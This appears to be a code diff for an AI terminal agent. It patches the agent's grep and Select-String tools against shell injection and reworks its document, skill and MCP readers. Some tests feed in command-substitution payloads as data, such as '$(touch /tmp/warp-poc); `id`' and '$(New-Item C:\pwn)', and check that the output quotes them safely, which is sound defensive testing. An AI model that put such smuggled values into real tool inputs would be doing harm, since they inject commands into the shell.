grep_command.push_str(format!(" {}", shell_quote_arg(target_path, shell_type)).as_str());
|
||||
grep_command
|
||||
}
|
||||
|
||||
fn build_select_string_command(queries: &[String], target_path: &str) -> String {
|
||||
// We enable the `-CaseSensitive` flag to match the default behavior of grep.
|
||||
// TODO(CODE-239): Make this command more efficient when searching a file.
|
||||
format!(
|
||||
"Get-ChildItem -Path {} -Recurse -File | Select-String -NoEmphasis -CaseSensitive -Pattern {}",
|
||||
shell_quote_arg(target_path, ShellType::PowerShell),
|
||||
queries
|
||||
.iter()
|
||||
// PowerShell evaluates command substitutions in double-quoted
|
||||
// strings, so patterns must be single-quoted data arguments.
|
||||
.map(|q| shell_quote_arg(q, ShellType::PowerShell))
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
|
||||
/// Parses the output of grep or a grep-like command into the format that we pass
|
||||
/// back to the agent.
|
||||
///
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use super::*;
|
||||
use crate::terminal::{model::secrets::regexes::FIREBASE_AUTH_DOMAIN, shell::ShellType};
|
||||
use crate::terminal::model::secrets::regexes::FIREBASE_AUTH_DOMAIN;
|
||||
use crate::terminal::shell::ShellType;
|
||||
|
||||
#[test]
|
||||
fn test_create_redacted_grep_error_event() {
|
||||
@@ -71,3 +72,39 @@ fn test_create_redacted_grep_error_event() {
|
||||
panic!("Expected GrepToolFailed event");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_git_grep_command_single_quotes_shell_substitution() {
|
||||
let queries = vec!["$(touch /tmp/warp-poc); `id`".to_string()];
|
||||
|
||||
let command = build_git_grep_command(&queries, "/tmp/repo path", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
"git --no-pager grep --color=never --untracked -nIE -e '$(touch /tmp/warp-poc); `id`' '/tmp/repo path'"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_grep_command_escapes_single_quotes() {
|
||||
let queries = vec!["owner's code".to_string()];
|
||||
|
||||
let command = build_grep_command(&queries, "/tmp/repo", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"grep --color=never -nrIHE --devices=skip -e 'owner'"'"'s code' '/tmp/repo'"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_select_string_command_single_quotes_powershell_substitution() {
|
||||
let queries = vec![r#"$(New-Item C:\pwn); 'literal'"#.to_string()];
|
||||
|
||||
let command = build_select_string_command(&queries, r#"C:\repo path"#);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"Get-ChildItem -Path 'C:\repo path' -Recurse -File | Select-String -NoEmphasis -CaseSensitive -Pattern '$(New-Item C:\pwn); ''literal'''"#
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use crate::ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, ReadDocumentsRequest,
|
||||
ReadDocumentsResult,
|
||||
},
|
||||
document::ai_document_model::AIDocumentModel,
|
||||
};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{AppContext, Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, ReadDocumentsRequest, ReadDocumentsResult,
|
||||
};
|
||||
use crate::ai::document::ai_document_model::{AIDocumentId, AIDocumentModel};
|
||||
|
||||
pub struct ReadDocumentsExecutor;
|
||||
|
||||
@@ -32,7 +29,10 @@ impl ReadDocumentsExecutor {
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> impl Into<AnyActionExecution> {
|
||||
let ExecuteActionInput { action, .. } = input;
|
||||
let ExecuteActionInput {
|
||||
action,
|
||||
conversation_id,
|
||||
} = input;
|
||||
let AIAgentAction {
|
||||
action: AIAgentActionType::ReadDocuments(ReadDocumentsRequest { document_ids }),
|
||||
..
|
||||
@@ -41,22 +41,41 @@ impl ReadDocumentsExecutor {
|
||||
return ActionExecution::<ReadDocumentsResult>::InvalidAction;
|
||||
};
|
||||
|
||||
// Access the model synchronously before the async block
|
||||
let model = AIDocumentModel::handle(ctx);
|
||||
let documents: Vec<DocumentContext> = document_ids
|
||||
.iter()
|
||||
.filter_map(|id| {
|
||||
let model = model.as_ref(ctx);
|
||||
let content = model.get_document_content(id, ctx)?;
|
||||
let version = model.get_current_document(id)?.version;
|
||||
Some(DocumentContext {
|
||||
document_id: *id,
|
||||
content,
|
||||
line_ranges: vec![],
|
||||
document_version: version,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
// A requested plan may live in Warp Drive without being loaded into this conversation's
|
||||
// document model (e.g. orchestration children reading parent plans, or plan IDs
|
||||
// copy-pasted from another conversation), so fall back to hydrating it on a miss.
|
||||
let mut documents = Vec::with_capacity(document_ids.len());
|
||||
let mut missing_documents = Vec::new();
|
||||
for id in document_ids {
|
||||
let mut document = try_read_document(id, ctx);
|
||||
if document.is_none() {
|
||||
AIDocumentModel::handle(ctx).update(ctx, |model, ctx| {
|
||||
if let Err(error) =
|
||||
model.hydrate_saved_plan_from_warp_drive(*id, conversation_id, ctx)
|
||||
{
|
||||
log::warn!(
|
||||
"Failed to hydrate requested plan document {id} from Warp Drive: {error}"
|
||||
);
|
||||
}
|
||||
});
|
||||
document = try_read_document(id, ctx);
|
||||
}
|
||||
match document {
|
||||
Some(document) => documents.push(document),
|
||||
None => missing_documents.push(*id),
|
||||
}
|
||||
}
|
||||
|
||||
if !missing_documents.is_empty() {
|
||||
let missing_list = missing_documents
|
||||
.iter()
|
||||
.map(ToString::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
return ActionExecution::Sync(
|
||||
ReadDocumentsResult::Error(format!("Document(s) not found: {missing_list}")).into(),
|
||||
);
|
||||
}
|
||||
|
||||
ActionExecution::Sync(ReadDocumentsResult::Success { documents }.into())
|
||||
}
|
||||
@@ -73,3 +92,20 @@ impl ReadDocumentsExecutor {
|
||||
impl Entity for ReadDocumentsExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
/// Reads one document, returning `None` if it is not loaded locally.
|
||||
fn try_read_document(id: &AIDocumentId, ctx: &AppContext) -> Option<DocumentContext> {
|
||||
let model = AIDocumentModel::as_ref(ctx);
|
||||
let content = model.get_document_content(id, ctx)?;
|
||||
let version = model.get_current_document(id)?.version;
|
||||
Some(DocumentContext {
|
||||
document_id: *id,
|
||||
content,
|
||||
line_ranges: vec![],
|
||||
document_version: version,
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "read_documents_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
ReadDocumentsRequest, ReadDocumentsResult,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::ai::document::ai_document_model::{AIDocumentId, AIDocumentModel};
|
||||
use crate::appearance::Appearance;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::cloud_object::{
|
||||
CloudObjectMetadata, CloudObjectPermissions, CloudObjectStatuses, CloudObjectSyncStatus, Owner,
|
||||
};
|
||||
use crate::notebooks::{CloudNotebook, CloudNotebookModel};
|
||||
use crate::server::ids::SyncId;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
|
||||
fn initialize_app(app: &mut App) {
|
||||
initialize_settings_for_tests(app);
|
||||
app.add_singleton_model(|_| Appearance::mock());
|
||||
app.add_singleton_model(|_| CloudModel::new(None, Vec::new(), None));
|
||||
app.add_singleton_model(|_| AIDocumentModel::new_for_test());
|
||||
app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
}
|
||||
|
||||
fn read_action(document_id: AIDocumentId) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("read-documents-action".to_string()),
|
||||
task_id: TaskId::new("read-documents-task".to_string()),
|
||||
requires_result: true,
|
||||
action: AIAgentActionType::ReadDocuments(ReadDocumentsRequest {
|
||||
document_ids: vec![document_id],
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn add_saved_plan_notebook(app: &mut App, document_id: AIDocumentId, content: &str) {
|
||||
let sync_id = SyncId::ServerId(123.into());
|
||||
let notebook = CloudNotebook::new(
|
||||
sync_id,
|
||||
CloudNotebookModel {
|
||||
title: "Saved plan".to_string(),
|
||||
data: content.to_string(),
|
||||
ai_document_id: Some(document_id),
|
||||
conversation_id: None,
|
||||
},
|
||||
CloudObjectMetadata {
|
||||
pending_changes_statuses: CloudObjectStatuses {
|
||||
content_sync_status: CloudObjectSyncStatus::NoLocalChanges,
|
||||
has_pending_metadata_change: false,
|
||||
has_pending_permissions_change: false,
|
||||
pending_untrash: false,
|
||||
pending_delete: false,
|
||||
},
|
||||
folder_id: None,
|
||||
revision: Default::default(),
|
||||
metadata_last_updated_ts: Default::default(),
|
||||
current_editor_uid: Default::default(),
|
||||
trashed_ts: Default::default(),
|
||||
is_welcome_object: false,
|
||||
creator_uid: None,
|
||||
last_editor_uid: None,
|
||||
last_task_run_ts: None,
|
||||
},
|
||||
CloudObjectPermissions {
|
||||
owner: Owner::mock_current_user(),
|
||||
guests: Vec::new(),
|
||||
permissions_last_updated_ts: None,
|
||||
anyone_with_link: None,
|
||||
},
|
||||
);
|
||||
CloudModel::handle(app).update(app, |cloud_model, _| {
|
||||
cloud_model.add_object(sync_id, notebook);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_lazily_hydrates_missing_plan_for_remote_child_without_local_parent() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let executor = app.add_model(|_| ReadDocumentsExecutor::new());
|
||||
let document_id = AIDocumentId::new();
|
||||
add_saved_plan_notebook(&mut app, document_id, "# Remote child plan");
|
||||
let child_conversation_id =
|
||||
BlocklistAIHistoryModel::handle(&app).update(&mut app, |history, ctx| {
|
||||
let child_conversation_id =
|
||||
history.start_new_conversation(EntityId::new(), false, false, false, ctx);
|
||||
history
|
||||
.conversation_mut(&child_conversation_id)
|
||||
.expect("child conversation should exist")
|
||||
.set_parent_agent_id("non-local-parent-run-id".to_string());
|
||||
child_conversation_id
|
||||
});
|
||||
let action = read_action(document_id);
|
||||
|
||||
let execution: AnyActionExecution = executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: child_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::ReadDocuments(
|
||||
ReadDocumentsResult::Success { documents },
|
||||
)) = execution
|
||||
else {
|
||||
panic!("expected read_documents success");
|
||||
};
|
||||
assert_eq!(documents.len(), 1);
|
||||
assert_eq!(documents[0].document_id, document_id);
|
||||
assert_eq!(documents[0].content, "# Remote child plan\n");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_for_missing_document_id() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let executor = app.add_model(|_| ReadDocumentsExecutor::new());
|
||||
let missing_document_id = AIDocumentId::new();
|
||||
let action = read_action(missing_document_id);
|
||||
|
||||
let execution: AnyActionExecution = executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::ReadDocuments(
|
||||
ReadDocumentsResult::Error(error),
|
||||
)) = execution
|
||||
else {
|
||||
panic!("expected read_documents error");
|
||||
};
|
||||
assert!(error.contains(&missing_document_id.to_string()));
|
||||
});
|
||||
}
|
||||
@@ -1,24 +1,20 @@
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, ReadFilesRequest,
|
||||
ReadFilesResult,
|
||||
},
|
||||
blocklist::BlocklistAIPermissions,
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
terminal::model::session::{active_session::ActiveSession, SessionType},
|
||||
};
|
||||
|
||||
use super::{
|
||||
read_local_file_context, ActionExecution, AnyActionExecution, ExecuteActionInput,
|
||||
PreprocessActionInput,
|
||||
};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, ReadFilesRequest, ReadFilesResult,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use crate::ai::paths::host_native_absolute_path;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::SessionType;
|
||||
|
||||
pub struct ReadFilesExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
@@ -118,20 +114,21 @@ impl ReadFilesExecutor {
|
||||
|
||||
// Check if this is a remote session with a connected host.
|
||||
let session_type = self.active_session.as_ref(ctx).session_type(ctx);
|
||||
let remote_client = match &session_type {
|
||||
let host_request_handle = match &session_type {
|
||||
Some(SessionType::WarpifiedRemote {
|
||||
host_id: Some(host_id),
|
||||
}) => remote_server::manager::RemoteServerManager::as_ref(ctx)
|
||||
.client_for_host(host_id)
|
||||
.cloned(),
|
||||
}) => Some(
|
||||
remote_server::manager::RemoteServerManager::as_ref(ctx)
|
||||
.host_request_handle(host_id),
|
||||
),
|
||||
_ => None,
|
||||
};
|
||||
|
||||
// Remote session without a usable remote server client. File reading
|
||||
// Remote session without a usable remote server connection. File reading
|
||||
// requires either local access or a connected remote server, neither
|
||||
// of which is available.
|
||||
if matches!(session_type, Some(SessionType::WarpifiedRemote { .. }))
|
||||
&& remote_client.is_none()
|
||||
&& host_request_handle.is_none()
|
||||
{
|
||||
return ActionExecution::Sync(AIAgentActionResultType::ReadFiles(
|
||||
ReadFilesResult::Error(
|
||||
@@ -142,7 +139,7 @@ impl ReadFilesExecutor {
|
||||
));
|
||||
}
|
||||
|
||||
if let Some(client) = remote_client {
|
||||
if let Some(handle) = host_request_handle {
|
||||
return ActionExecution::Async {
|
||||
execute_future: Box::pin(async move {
|
||||
let request = remote_server::proto::ReadFileContextRequest {
|
||||
@@ -171,7 +168,7 @@ impl ReadFilesExecutor {
|
||||
max_batch_bytes: None,
|
||||
};
|
||||
|
||||
let response = client
|
||||
let response = handle
|
||||
.read_file_context(request)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("Remote read failed: {e}"))?;
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use warpui::SingletonEntity;
|
||||
use warpui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::ai::mcp::TemplatableMCPServerManager;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::ai::{
|
||||
agent::{AIAgentActionResultType, ReadMCPResourceResult},
|
||||
@@ -13,8 +15,7 @@ use crate::ai::{
|
||||
BlocklistAIPermissions,
|
||||
},
|
||||
};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
pub struct ReadMCPResourceExecutor {
|
||||
_active_session: ModelHandle<ActiveSession>,
|
||||
@@ -128,7 +129,7 @@ impl ReadMCPResourceExecutor {
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
reconnecting_peer
|
||||
.read_resource(rmcp::model::ReadResourceRequestParam { uri })
|
||||
.read_resource(rmcp::model::ReadResourceRequestParams::new(uri))
|
||||
.await
|
||||
},
|
||||
|res, _ctx| handle_read_resource_result(res),
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
use ai::agent::action_result::{AnyFileContent, FileContext};
|
||||
use futures::future::{BoxFuture, FutureExt};
|
||||
use warpui::{Entity, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionType, ReadSkillRequest, ReadSkillResult};
|
||||
use crate::ai::blocklist::SessionContext;
|
||||
use crate::ai::skills::{SkillManager, SkillTelemetryEvent};
|
||||
use crate::send_telemetry_from_ctx;
|
||||
use ai::agent::action_result::AnyFileContent;
|
||||
use galaxyui::{ModelContext, SingletonEntity};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
use crate::ai::agent::AIAgentActionType;
|
||||
use crate::ai::agent::ReadSkillRequest;
|
||||
use crate::ai::agent::ReadSkillResult;
|
||||
use ai::agent::action_result::FileContext;
|
||||
use futures::future::{BoxFuture, FutureExt};
|
||||
use galaxyui::Entity;
|
||||
|
||||
pub struct ReadSkillExecutor;
|
||||
pub struct ReadSkillExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
}
|
||||
|
||||
impl ReadSkillExecutor {
|
||||
pub fn new() -> Self {
|
||||
Self
|
||||
pub fn new(active_session: ModelHandle<ActiveSession>) -> Self {
|
||||
Self { active_session }
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
@@ -38,8 +38,17 @@ impl ReadSkillExecutor {
|
||||
return ActionExecution::<ReadSkillResult>::InvalidAction;
|
||||
};
|
||||
|
||||
match SkillManager::as_ref(ctx).skill_by_reference(skill_ref) {
|
||||
Some(skill) => {
|
||||
// Resolve from the catalog selected by the active session's host, so
|
||||
// remote sessions read the host-rendered bundled skill.
|
||||
let path_origin =
|
||||
SessionContext::from_session(self.active_session.as_ref(ctx), ctx).skill_path_origin();
|
||||
|
||||
match SkillManager::as_ref(ctx).active_skill_by_reference_with_origin(
|
||||
skill_ref,
|
||||
&path_origin,
|
||||
ctx,
|
||||
) {
|
||||
Ok(skill) => {
|
||||
send_telemetry_from_ctx!(
|
||||
SkillTelemetryEvent::Read {
|
||||
reference: skill_ref.clone(),
|
||||
@@ -51,14 +60,14 @@ impl ReadSkillExecutor {
|
||||
ctx
|
||||
);
|
||||
let content = FileContext::new(
|
||||
skill.path.to_string_lossy().into_owned(),
|
||||
skill.path.display_path(),
|
||||
AnyFileContent::StringContent(skill.content.clone()),
|
||||
skill.line_range.clone(),
|
||||
None,
|
||||
);
|
||||
ActionExecution::Sync(ReadSkillResult::Success { content }.into())
|
||||
}
|
||||
None => {
|
||||
Err(error) => {
|
||||
send_telemetry_from_ctx!(
|
||||
SkillTelemetryEvent::Read {
|
||||
reference: skill_ref.clone(),
|
||||
@@ -69,9 +78,7 @@ impl ReadSkillExecutor {
|
||||
},
|
||||
ctx
|
||||
);
|
||||
ActionExecution::Sync(
|
||||
ReadSkillResult::Error(format!("Skill not found: {:?}", skill_ref)).into(),
|
||||
)
|
||||
ActionExecution::Sync(ReadSkillResult::Error(error.to_string()).into())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,30 +1,65 @@
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::AIAgentActionResultType;
|
||||
use crate::ai::agent::ReadSkillRequest;
|
||||
use crate::ai::agent::ReadSkillResult;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
use crate::ai::blocklist::action_model::AIConversationId;
|
||||
use crate::ai::skills::SkillManager;
|
||||
use crate::galaxy_managed_paths_watcher::GalaxyManagedPathsWatcher;
|
||||
use ai::skills::{parse_skill, SkillReference};
|
||||
use galaxyui::App;
|
||||
use repo_metadata::{
|
||||
repositories::DetectedRepositories, watcher::DirectoryWatcher, RepoMetadataModel,
|
||||
};
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use ai::skills::{parse_skill, ParsedSkill, SkillProvider, SkillReference, SkillScope};
|
||||
use async_channel::unbounded;
|
||||
use repo_metadata::repositories::DetectedRepositories;
|
||||
use repo_metadata::watcher::DirectoryWatcher;
|
||||
use repo_metadata::RepoMetadataModel;
|
||||
use tempfile::TempDir;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::HostId;
|
||||
use galaxy_util::local_or_remote_path::LocalOrRemotePath;
|
||||
use galaxy_util::remote_path::RemotePath;
|
||||
use galaxy_util::standardized_path::StandardizedPath;
|
||||
use galaxyui::{App, ModelHandle};
|
||||
use watcher::HomeDirectoryWatcher;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType, ReadSkillRequest,
|
||||
ReadSkillResult,
|
||||
};
|
||||
use crate::ai::blocklist::action_model::AIConversationId;
|
||||
use crate::ai::skills::{BundledSkillActivation, SkillManager};
|
||||
use crate::settings::AISettings;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::{BootstrapSessionType, SessionId, SessionInfo, Sessions};
|
||||
use crate::terminal::model_events::ModelEventDispatcher;
|
||||
use crate::warp_managed_paths_watcher::WarpManagedPathsWatcher;
|
||||
|
||||
fn initialize_app(app: &mut App) {
|
||||
app.add_singleton_model(DirectoryWatcher::new);
|
||||
app.add_singleton_model(AISettings::new_with_defaults);
|
||||
app.add_singleton_model(|_| DetectedRepositories::default());
|
||||
app.add_singleton_model(RepoMetadataModel::new);
|
||||
app.add_singleton_model(HomeDirectoryWatcher::new_for_test);
|
||||
app.add_singleton_model(GalaxyManagedPathsWatcher::new_for_testing);
|
||||
app.add_singleton_model(SkillManager::new);
|
||||
}
|
||||
fn add_test_read_skill_executor(app: &mut App) -> ModelHandle<ReadSkillExecutor> {
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
let active_session = app
|
||||
.add_model(|ctx| ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx));
|
||||
app.add_model(|_| ReadSkillExecutor::new(active_session))
|
||||
}
|
||||
|
||||
fn bundled_skill(name: &str) -> ParsedSkill {
|
||||
ParsedSkill {
|
||||
name: name.to_string(),
|
||||
description: format!("{name} bundled skill"),
|
||||
path: LocalOrRemotePath::Local(PathBuf::from(format!("/bundled/skills/{name}/SKILL.md"))),
|
||||
content: format!("# {name}"),
|
||||
line_range: None,
|
||||
provider: SkillProvider::Warp,
|
||||
scope: SkillScope::Bundled,
|
||||
}
|
||||
}
|
||||
|
||||
fn create_test_skill_file(dir: &TempDir, name: &str, description: &str) -> std::path::PathBuf {
|
||||
let skill_content = format!(
|
||||
@@ -68,12 +103,12 @@ fn test_read_skill_executor_success() {
|
||||
manager.add_skill_for_testing(parsed_skill);
|
||||
});
|
||||
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new());
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::Path(skill_path.clone()),
|
||||
skill: SkillReference::Path(LocalOrRemotePath::Local(skill_path.clone())),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
@@ -99,6 +134,241 @@ fn test_read_skill_executor_success() {
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn disconnected_remote_session_does_not_fall_back_to_client_global_bundled_skill() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
"remote-only",
|
||||
bundled_skill("remote-only"),
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
});
|
||||
|
||||
let session_id = SessionId::from(42);
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
sessions.update(&mut app, |sessions, _ctx| {
|
||||
sessions.register_session_for_test(
|
||||
SessionInfo::new_for_test()
|
||||
.with_id(session_id)
|
||||
.with_session_type(BootstrapSessionType::WarpifiedRemote),
|
||||
);
|
||||
});
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
model_event_dispatcher.update(&mut app, |dispatcher, _ctx| {
|
||||
dispatcher.set_active_session_id(session_id);
|
||||
});
|
||||
let active_session = app.add_model(|ctx| {
|
||||
ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx)
|
||||
});
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new(active_session));
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId("remote-only".to_string()),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
};
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
assert!(matches!(
|
||||
result,
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Error(error)
|
||||
)) if error == "Bundled skills are not available on this remote session"
|
||||
));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remote_session_reads_remote_bundled_skill_catalog() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
let host_id = HostId::new("remote-host".to_string());
|
||||
let remote_skill = ParsedSkill {
|
||||
name: "host-specific".to_string(),
|
||||
description: "remote bundled skill".to_string(),
|
||||
path: LocalOrRemotePath::Remote(RemotePath::new(
|
||||
host_id.clone(),
|
||||
StandardizedPath::try_new(
|
||||
"/opt/warp/resources/bundled/skills/host-specific/SKILL.md",
|
||||
)
|
||||
.unwrap(),
|
||||
)),
|
||||
content: "remote rendered content".to_string(),
|
||||
line_range: None,
|
||||
provider: SkillProvider::Warp,
|
||||
scope: SkillScope::Bundled,
|
||||
};
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
"host-specific",
|
||||
bundled_skill("host-specific"),
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
manager.add_remote_bundled_skill_for_testing(
|
||||
host_id.clone(),
|
||||
"host-specific",
|
||||
remote_skill,
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
});
|
||||
|
||||
let session_id = SessionId::from(42);
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
sessions.update(&mut app, |sessions, _ctx| {
|
||||
sessions.register_session_for_test(
|
||||
SessionInfo::new_for_test()
|
||||
.with_id(session_id)
|
||||
.with_session_type(BootstrapSessionType::WarpifiedRemote),
|
||||
);
|
||||
});
|
||||
let session = sessions
|
||||
.read(&app, |sessions, _ctx| sessions.get(session_id))
|
||||
.unwrap();
|
||||
session.set_remote_host_id(Some(host_id));
|
||||
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
model_event_dispatcher.update(&mut app, |dispatcher, _ctx| {
|
||||
dispatcher.set_active_session_id(session_id);
|
||||
});
|
||||
let active_session = app.add_model(|ctx| {
|
||||
ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx)
|
||||
});
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new(active_session));
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId("host-specific".to_string()),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
